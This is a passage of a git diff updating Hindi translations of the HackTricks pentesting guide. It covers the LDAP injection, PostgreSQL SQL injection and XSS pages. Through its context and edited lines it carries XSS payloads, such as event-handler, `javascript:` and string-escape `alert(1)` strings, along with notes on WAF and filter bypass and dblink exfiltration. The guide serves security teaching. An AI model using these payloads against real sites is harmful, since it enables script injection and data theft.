पा सकते हैं। +LDAP ऑब्जेक्ट्स **डिफ़ॉल्ट रूप से कई विशेषताएँ** रखते हैं जो **जानकारी सहेजने** के लिए उपयोग की जा सकती हैं। आप **उन सभी को ब्रूट-फोर्स करने की कोशिश कर सकते हैं ताकि उस जानकारी को निकाला जा सके।** आप [**डिफ़ॉल्ट LDAP विशेषताओं की सूची यहाँ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) पा सकते हैं। ```python #!/usr/bin/python3 import requests @@ -224,7 +224,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} -
+
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अजेय को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_). @@ -236,11 +236,11 @@ GCP हैकिंग सीखें और अभ्यास करें: <
-Support HackTricks +HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें.** -* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें. +* **हमसे जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करके।
{% endhint %} diff --git a/pentesting-web/sql-injection/postgresql-injection/README.md b/pentesting-web/sql-injection/postgresql-injection/README.md index fde2d9f48..ac007e4fd 100644 --- a/pentesting-web/sql-injection/postgresql-injection/README.md +++ b/pentesting-web/sql-injection/postgresql-injection/README.md @@ -15,7 +15,7 @@ Learn & practice GCP Hacking: 
 </details>
 {% endhint %}
 
-<figure><img src=
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_). @@ -23,19 +23,19 @@ If you are interested in **hacking career** and hack the unhackable - **we are h *** -**यह पृष्ठ विभिन्न तकनीकों को समझाने का लक्ष्य रखता है जो आपको एक पोस्टग्रेएसक्यूएल डेटाबेस में पाए गए SQL इंजेक्शन का शोषण करने में मदद कर सकती हैं और उन तकनीकों को पूरा कर सकती हैं जो आप** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **पर पा सकते हैं।** +**यह पृष्ठ विभिन्न तकनीकों को समझाने का लक्ष्य रखता है जो आपको PostgreSQL डेटाबेस में पाए गए SQL इंजेक्शन का शोषण करने में मदद कर सकती हैं और उन तकनीकों को पूरा कर सकती हैं जो आप** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **पर पा सकते हैं।** ## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration -**PostgreSQL मॉड्यूल `dblink`** अन्य PostgreSQL उदाहरणों से कनेक्ट करने और TCP कनेक्शन निष्पादित करने की क्षमताएँ प्रदान करता है। ये सुविधाएँ, `COPY FROM` कार्यक्षमता के साथ मिलकर, विशेषाधिकार वृद्धि, पोर्ट स्कैनिंग और NTLM चुनौती प्रतिक्रिया कैप्चर जैसी क्रियाओं को सक्षम बनाती हैं। इन हमलों को निष्पादित करने के विस्तृत तरीकों के लिए देखें कि [इन हमलों को कैसे करें](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)। +**PostgreSQL मॉड्यूल `dblink`** अन्य PostgreSQL उदाहरणों से कनेक्ट करने और TCP कनेक्शन निष्पादित करने की क्षमताएँ प्रदान करता है। ये सुविधाएँ, `COPY FROM` कार्यक्षमता के साथ मिलकर, विशेषाधिकार वृद्धि, पोर्ट स्कैनिंग, और NTLM चुनौती प्रतिक्रिया कैप्चर जैसी क्रियाओं को सक्षम बनाती हैं। इन हमलों को निष्पादित करने के विस्तृत तरीकों के लिए देखें कि [इन हमलों को कैसे करें](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)। -### **dblink और बड़े ऑब्जेक्ट्स का उपयोग करके एक्सफिल्ट्रेशन उदाहरण** +### **dblink और बड़े ऑब्जेक्ट्स का उपयोग करके डेटा निकासी का उदाहरण** -आप [**इस उदाहरण को पढ़ सकते हैं**](dblink-lo\_import-data-exfiltration.md) यह देखने के लिए कि **कैसे बड़े ऑब्जेक्ट्स के अंदर डेटा लोड करें और फिर फ़ंक्शन `dblink_connect` के उपयोगकर्ता नाम के अंदर बड़े ऑब्जेक्ट्स की सामग्री को एक्सफिल्ट्रेट करें।** +आप [**इस उदाहरण को पढ़ सकते हैं**](dblink-lo\_import-data-exfiltration.md) यह देखने के लिए कि **कैसे बड़े ऑब्जेक्ट्स के अंदर डेटा लोड करें और फिर फ़ंक्शन `dblink_connect` के उपयोगकर्ता नाम के अंदर बड़े ऑब्जेक्ट्स की सामग्री को निकासी करें।** ## PostgreSQL हमले: पढ़ें/लिखें, RCE, प्रिवेस्क -देखें कि PostgreSQL से होस्ट को कैसे समझौता करें और विशेषाधिकार बढ़ाएँ: +देखें कि PostgreSQL से होस्ट को कैसे समझौता करें और विशेषाधिकार कैसे बढ़ाएं: {% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} [pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md) @@ -46,7 +46,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ### PostgreSQL स्ट्रिंग फ़ंक्शन स्ट्रिंग्स को मैनिपुलेट करना आपको **WAFs या अन्य प्रतिबंधों को बायपास करने में मदद कर सकता है।**\ -[**इस पृष्ठ में**](https://www.postgresqltutorial.com/postgresql-string-functions/)**आप कुछ उपयोगी स्ट्रिंग फ़ंक्शन पा सकते हैं।** +[**इस पृष्ठ में**](https://www.postgresqltutorial.com/postgresql-string-functions/) **आप कुछ उपयोगी स्ट्रिंग फ़ंक्शन पा सकते हैं।** ### स्टैक्ड क्वेरीज़ @@ -71,7 +71,7 @@ SELECT database_to_xml(true,true,''); ``` ### Strings in Hex -यदि आप **क्वेरीज़** चला सकते हैं जो **एक स्ट्रिंग के अंदर** पास की जाती हैं (उदाहरण के लिए **`query_to_xml`** फ़ंक्शन का उपयोग करके)। **आप स्ट्रिंग को हेक्स के रूप में पास करने के लिए convert\_from का उपयोग कर सकते हैं और इस तरह फ़िल्टर को बायपास कर सकते हैं:** +यदि आप **क्वेरीज़** चला सकते हैं जो **एक स्ट्रिंग के अंदर** पास की जाती हैं (उदाहरण के लिए **`query_to_xml`** फ़ंक्शन का उपयोग करके)। **आप hex के रूप में स्ट्रिंग पास करने के लिए convert\_from का उपयोग कर सकते हैं और इस तरह फ़िल्टर को बायपास कर सकते हैं:** {% code overflow="wrap" %} ```sql @@ -97,9 +97,9 @@ SELECT 'hacktricks'; SELECT $$hacktricks$$; SELECT $TAG$hacktricks$TAG$; ``` -
+
-यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_). +यदि आप **हैकिंग करियर** में रुचि रखते हैं और अजेय को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_). {% embed url="https://www.stmcyber.com/careers" %} diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index e771af572..6c888c628 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -1,6 +1,6 @@ # XSS (Cross Site Scripting) -
+
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_). @@ -8,9 +8,9 @@ ## कार्यप्रणाली -1. जांचें कि **कोई भी मान जिसे आप नियंत्रित करते हैं** (_पैरामीटर_, _पथ_, _हेडर_?, _कुकीज़_?) **HTML में परिलक्षित** हो रहा है या **JS** कोड द्वारा **उपयोग किया जा रहा है**। -2. **संदर्भ खोजें** जहां यह परिलक्षित/उपयोग किया गया है। -3. यदि **परिलक्षित** है: +1. जांचें कि **कोई भी मान जिसे आप नियंत्रित करते हैं** (_पैरामीटर_, _पथ_, _हेडर_?, _कुकीज़_?) **HTML में परावर्तित** हो रहा है या **JS** कोड द्वारा **उपयोग किया जा रहा है**। +2. **संदर्भ खोजें** जहां यह परावर्तित/उपयोग किया गया है। +3. यदि **परावर्तित** है: 1. जांचें **आप कौन से प्रतीकों का उपयोग कर सकते हैं** और उसके आधार पर, पेलोड तैयार करें: 1. **कच्चे HTML** में: 1. क्या आप नए HTML टैग बना सकते हैं? @@ -28,44 +28,44 @@ 2. क्या आप स्ट्रिंग को बचा सकते हैं और विभिन्न JS कोड निष्पादित कर सकते हैं? 3. क्या आपका इनपुट टेम्पलेट लिटेरल \`\` में है? 4. क्या आप सुरक्षा को बायपास कर सकते हैं? -4. Javascript **कार्य** जो **निष्पादित** हो रहा है: -1. आप निष्पादित करने के लिए कार्य का नाम निर्दिष्ट कर सकते हैं। उदाहरण: `?callback=alert(1)` +4. Javascript **फंक्शन** जो **निष्पादित** हो रहा है: +1. आप निष्पादित करने के लिए फंक्शन का नाम निर्दिष्ट कर सकते हैं। उदाहरण: `?callback=alert(1)` 4. यदि **उपयोग किया गया**: 1. आप **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित है और यदि आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।** -जब आप एक जटिल XSS पर काम कर रहे हों तो यह जानना दिलचस्प हो सकता है: +जब आप एक जटिल XSS पर काम कर रहे हों, तो जानना दिलचस्प हो सकता है: {% content-ref url="debugging-client-side-js.md" %} [debugging-client-side-js.md](debugging-client-side-js.md) {% endcontent-ref %} -## परिलक्षित मान +## परावर्तित मान -XSS का सफलतापूर्वक शोषण करने के लिए, आपको सबसे पहले एक **मान खोजने की आवश्यकता है जिसे आप नियंत्रित करते हैं और जो वेब पृष्ठ में परिलक्षित हो रहा है**। +XSS का सफलतापूर्वक शोषण करने के लिए, आपको सबसे पहले एक **मान खोजने की आवश्यकता है जिसे आप नियंत्रित करते हैं और जो वेब पृष्ठ में परावर्तित हो रहा है।** -* **अंतरिम रूप से परिलक्षित**: यदि आप पाते हैं कि किसी पैरामीटर का मान या यहां तक कि पथ वेब पृष्ठ में परिलक्षित हो रहा है, तो आप **परिलक्षित XSS** का शोषण कर सकते हैं। -* **संग्रहीत और परिलक्षित**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, सर्वर में सहेजा गया है और हर बार जब आप एक पृष्ठ तक पहुँचते हैं तो यह परिलक्षित होता है, तो आप **संग्रहीत XSS** का शोषण कर सकते हैं। +* **अंतरिम रूप से परावर्तित**: यदि आप पाते हैं कि किसी पैरामीटर का मान या यहां तक कि पथ वेब पृष्ठ में परावर्तित हो रहा है, तो आप **परावर्तित XSS** का शोषण कर सकते हैं। +* **संग्रहीत और परावर्तित**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, सर्वर में सहेजा गया है और हर बार जब आप एक पृष्ठ तक पहुँचते हैं तो यह परावर्तित होता है, तो आप **संग्रहीत XSS** का शोषण कर सकते हैं। * **JS के माध्यम से पहुँचा गया**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, JS का उपयोग करके पहुँच रहा है, तो आप **DOM XSS** का शोषण कर सकते हैं। ## संदर्भ -जब आप XSS का शोषण करने की कोशिश कर रहे हों, तो सबसे पहले आपको यह जानने की आवश्यकता है कि **आपका इनपुट कहाँ परिलक्षित हो रहा है**। संदर्भ के आधार पर, आप विभिन्न तरीकों से मनमाना JS कोड निष्पादित कर सकेंगे। +जब आप XSS का शोषण करने की कोशिश कर रहे हों, तो सबसे पहले आपको यह जानने की आवश्यकता है कि **आपका इनपुट कहाँ परावर्तित हो रहा है**। संदर्भ के आधार पर, आप विभिन्न तरीकों से मनमाना JS कोड निष्पादित कर सकेंगे। ### कच्चा HTML -यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर **परिलक्षित** होता है, तो आपको JS कोड निष्पादित करने के लिए कुछ **HTML टैग** का दुरुपयोग करना होगा: `` को एन्कोड किया गया है या हटा दिया गया है), तो टैग के आधार पर आप **एक इवेंट बना सकते हैं** जो JS कोड निष्पादित करता है: `" autofocus onfocus=alert(1) x="` -3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परिलक्षित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। उदाहरण के लिए, यदि आप एक इवेंट जैसे `onclick=` को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`** -4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परिलक्षित होता है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए किसी प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`** +3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परावर्तित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। उदाहरण के लिए, यदि आप एक इवेंट जैसे `onclick=` को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`** +4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परावर्तित होता है, तो आप इस vuln का दुरुपयोग करने के लिए **`accesskey`** ट्रिक आजमा सकते हैं (आपको इसे शोषित करने के लिए किसी प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`** -यदि आप एक वर्ग नाम को नियंत्रित करते हैं तो Angular द्वारा XSS निष्पादित करने का अजीब उदाहरण: +यदि आप एक क्लास नाम को नियंत्रित करते हैं तो Angular द्वारा XSS निष्पादित करने का अजीब उदाहरण: ```html
aaa @@ -73,7 +73,7 @@ XSS का सफलतापूर्वक शोषण करने के ``` ### Inside JavaScript code -इस मामले में आपका इनपुट **``** टैग के बीच, एक HTML पृष्ठ के अंदर, एक `.js` फ़ाइल के अंदर या **`javascript:`** प्रोटोकॉल का उपयोग करते हुए एक विशेषता के अंदर परिलक्षित होता है: +इस मामले में आपका इनपुट **``** टैग के बीच, एक HTML पृष्ठ के अंदर, एक `.js` फ़ाइल के अंदर या एक विशेषता के अंदर **`javascript:`** प्रोटोकॉल का उपयोग करते हुए परिलक्षित होता है: * यदि **``** टैग के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार के उद्धरण के अंदर हो, आप `` को इंजेक्ट करने और इस संदर्भ से बाहर निकलने का प्रयास कर सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग को पार्स करेगा** और फिर सामग्री को, इसलिए, यह नहीं देखेगा कि आपका इंजेक्ट किया गया `` टैग HTML कोड के अंदर है। * यदि **JS स्ट्रिंग** के अंदर परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलने**, अपने कोड को **निष्पादित करने** और JS कोड को **पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा): @@ -81,7 +81,7 @@ XSS का सफलतापूर्वक शोषण करने के * `';-alert(1)//` * `\';alert(1)//` * यदि टेम्पलेट लिटेरल के अंदर परिलक्षित होता है, तो आप `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** कर सकते हैं: `` var greetings = `Hello, ${alert(1)}` `` -* **Unicode encode** **मान्य javascript code** लिखने के लिए काम करता है: +* **Unicode एन्कोड** **मान्य javascript कोड** लिखने के लिए काम करता है: ```javascript \u{61}lert(1) \u0061lert(1) @@ -98,15 +98,15 @@ Javascript Hoisting उस अवसर को संदर्भित कर ### Javascript Function -कई वेब पृष्ठों में ऐसे एंडपॉइंट होते हैं जो **कार्य को निष्पादित करने के लिए फ़ंक्शन के नाम को पैरामीटर के रूप में स्वीकार करते हैं।** एक सामान्य उदाहरण जो वास्तविक जीवन में देखने को मिलता है वह है: `?callback=callbackFunc`. +कई वेब पृष्ठों में ऐसे एंडपॉइंट होते हैं जो **कार्य को निष्पादित करने के लिए पैरामीटर के रूप में कार्य का नाम स्वीकार करते हैं।** एक सामान्य उदाहरण जो वास्तविक जीवन में देखने को मिलता है वह है: `?callback=callbackFunc`. -यह पता लगाने का एक अच्छा तरीका है कि क्या उपयोगकर्ता द्वारा सीधे दिया गया कुछ निष्पादित करने की कोशिश कर रहा है **पैरामीटर मान को संशोधित करना** (उदाहरण के लिए 'Vulnerable' में) और कंसोल में त्रुटियों की तलाश करना जैसे: +यह पता लगाने का एक अच्छा तरीका है कि क्या उपयोगकर्ता द्वारा सीधे दिया गया कुछ निष्पादित करने की कोशिश कर रहा है, **पैरामीटर मान को संशोधित करना** (उदाहरण के लिए 'Vulnerable' में) और कंसोल में त्रुटियों की तलाश करना जैसे: ![](<../../.gitbook/assets/image (711).png>) -यदि यह संवेदनशील है, तो आप **एक अलर्ट ट्रिगर करने में सक्षम हो सकते हैं** केवल मान भेजकर: **`?callback=alert(1)`**। हालाँकि, यह बहुत सामान्य है कि ये एंडपॉइंट **सामग्री को मान्य करेंगे** ताकि केवल अक्षरों, संख्याओं, बिंदुओं और अंडरस्कोर की अनुमति दी जा सके (**`[\w\._]`**). +यदि यह संवेदनशील है, तो आप **एक अलर्ट ट्रिगर कर सकते हैं** केवल मान भेजकर: **`?callback=alert(1)`**। हालाँकि, यह बहुत सामान्य है कि ये एंडपॉइंट **सामग्री को मान्य करेंगे** ताकि केवल अक्षरों, संख्याओं, बिंदुओं और अंडरस्कोर की अनुमति दी जा सके (**`[\w\._]`**). -हालांकि, इस सीमा के बावजूद कुछ क्रियाएँ करना अभी भी संभव है। इसका कारण यह है कि आप उस मान्य वर्णों का उपयोग करके **DOM में किसी भी तत्व तक पहुँच सकते हैं**: +हालांकि, उस सीमा के बावजूद कुछ क्रियाएँ करना अभी भी संभव है। इसका कारण यह है कि आप उन मान्य वर्णों का उपयोग करके **DOM में किसी भी तत्व तक पहुँच सकते हैं**: ![](<../../.gitbook/assets/image (747).png>) @@ -122,7 +122,7 @@ parentElement हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे एंडपॉइंट्स होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा ताकि अधिक क्रियाएँ की जा सकें। -इसलिए, **विभिन्न DOM में इस भेद्यता का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया था: +इसलिए, **विभिन्न DOM में इस कमजोरियों का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) @@ -130,7 +130,7 @@ parentElement ### DOM -यहाँ **JS कोड** है जो **असुरक्षित** तरीके से कुछ **हमलावर द्वारा नियंत्रित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है। +यहाँ **JS कोड** है जो **असुरक्षित** तरीके से कुछ **हमलावर द्वारा नियंत्रित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसका दुरुपयोग करके मनमाना JS कोड निष्पादित कर सकता है। {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) @@ -138,7 +138,7 @@ parentElement ### **Universal XSS** -इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वर्स में मनमाने फ़ाइलों को पढ़ने**, और अधिक के लिए भी किया जा सकता है।\ +इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग करके **RCE** प्राप्त किया जा सकता है, **क्लाइंट्स और सर्वर्स में मनमाने फ़ाइलों को पढ़ा** जा सकता है, और भी बहुत कुछ।\ कुछ **उदाहरण**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} @@ -155,7 +155,7 @@ parentElement ## कच्चे HTML के अंदर इंजेक्ट करना -जब आपका इनपुट **HTML पृष्ठ के अंदर** परिलक्षित होता है या आप इस संदर्भ में HTML कोड को बचा सकते हैं और इंजेक्ट कर सकते हैं, तो **पहली** चीज़ जो आपको करनी चाहिए वह यह है कि आप जांचें कि क्या आप `<` का दुरुपयोग करके नए टैग बना सकते हैं: बस उस **चर** को **परिलक्षित** करने की कोशिश करें और जांचें कि क्या इसे **HTML एन्कोडेड** किया गया है या **हटाया** गया है या यदि यह **बिना बदलाव के परिलक्षित** हो रहा है। **केवल अंतिम मामले में आप इस मामले का शोषण कर पाएंगे**।\ +जब आपका इनपुट **HTML पृष्ठ के अंदर** परिलक्षित होता है या आप इस संदर्भ में HTML कोड को एस्केप और इंजेक्ट कर सकते हैं, तो **पहली** चीज़ जो आपको करनी चाहिए वह यह है कि आप जांचें कि क्या आप `<` का दुरुपयोग करके नए टैग बना सकते हैं: बस उस **चर** को **परिलक्षित** करने की कोशिश करें और जांचें कि क्या इसे **HTML एन्कोडेड** किया गया है या **हटाया** गया है या यदि यह **बिना बदलाव के परिलक्षित** हो रहा है। **केवल अंतिम मामले में आप इस मामले का शोषण कर पाएंगे**।\ इन मामलों के लिए **याद रखें** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**।**\ _**नोट: एक HTML टिप्पणी को बंद करने के लिए\*\*\*\***** ****`-->`**** ****या \*\*\*\*****`--!>`**_ @@ -165,16 +165,16 @@ _**नोट: एक HTML टिप्पणी को बंद करने ``` -लेकिन, यदि टैग/एट्रिब्यूट्स ब्लैक/व्हाइटलिस्टिंग का उपयोग किया जा रहा है, तो आपको **यह पता लगाने के लिए ब्रूट-फोर्स करना होगा कि कौन से टैग** आप बना सकते हैं।\ -एक बार जब आप **यह पता लगा लेते हैं कि कौन से टैग अनुमति प्राप्त हैं**, तो आपको **पाए गए मान्य टैग के अंदर एट्रिब्यूट्स/इवेंट्स को ब्रूट-फोर्स करना होगा** यह देखने के लिए कि आप संदर्भ पर कैसे हमला कर सकते हैं। +But, if tags/attributes black/whitelisting is being used, you will need to **brute-force which tags** you can create.\ +Once you have **located which tags are allowed**, you would need to **brute-force attributes/events** inside the found valid tags to see how you can attack the context. -### टैग/इवेंट्स ब्रूट-फोर्स +### Tags/Events brute-force -[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) पर जाएं और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में नहीं खोजा गया। एक बार जब आप यह पता लगा लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप **मान्य टैग का उपयोग करके सभी इवेंट्स को ब्रूट फोर्स कर सकते हैं** (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)। +Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before). -### कस्टम टैग +### Custom tags -यदि आपने कोई मान्य HTML टैग नहीं पाया, तो आप **एक कस्टम टैग बनाने** और `onfocus` एट्रिब्यूट के साथ JS कोड निष्पादित करने की कोशिश कर सकते हैं। XSS अनुरोध में, आपको URL को `#` के साथ समाप्त करना होगा ताकि पृष्ठ **उस ऑब्जेक्ट पर ध्यान केंद्रित करे** और **कोड को निष्पादित करे**: +If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code: ``` /?search=#x ``` @@ -242,23 +242,23 @@ onerror=alert`1` ``` -### विशेष प्रोटोकॉल विशेषता के भीतर +### विशेष प्रोटोकॉल एट्रिब्यूट के भीतर -यहां आप कुछ स्थानों पर प्रोटोकॉल **`javascript:`** या **`data:`** का उपयोग कर सकते हैं **मनमाने JS कोड** को **निष्पादित करने** के लिए। कुछ को उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं। +यहां आप कुछ स्थानों पर **`javascript:`** या **`data:`** प्रोटोकॉल का उपयोग कर सकते हैं **मनमाने JS कोड** को **निष्पादित** करने के लिए। कुछ को उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं। ```javascript javascript:alert(1) JavaSCript:alert(1) @@ -353,7 +353,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc //https://github.com/evilcos/xss.swf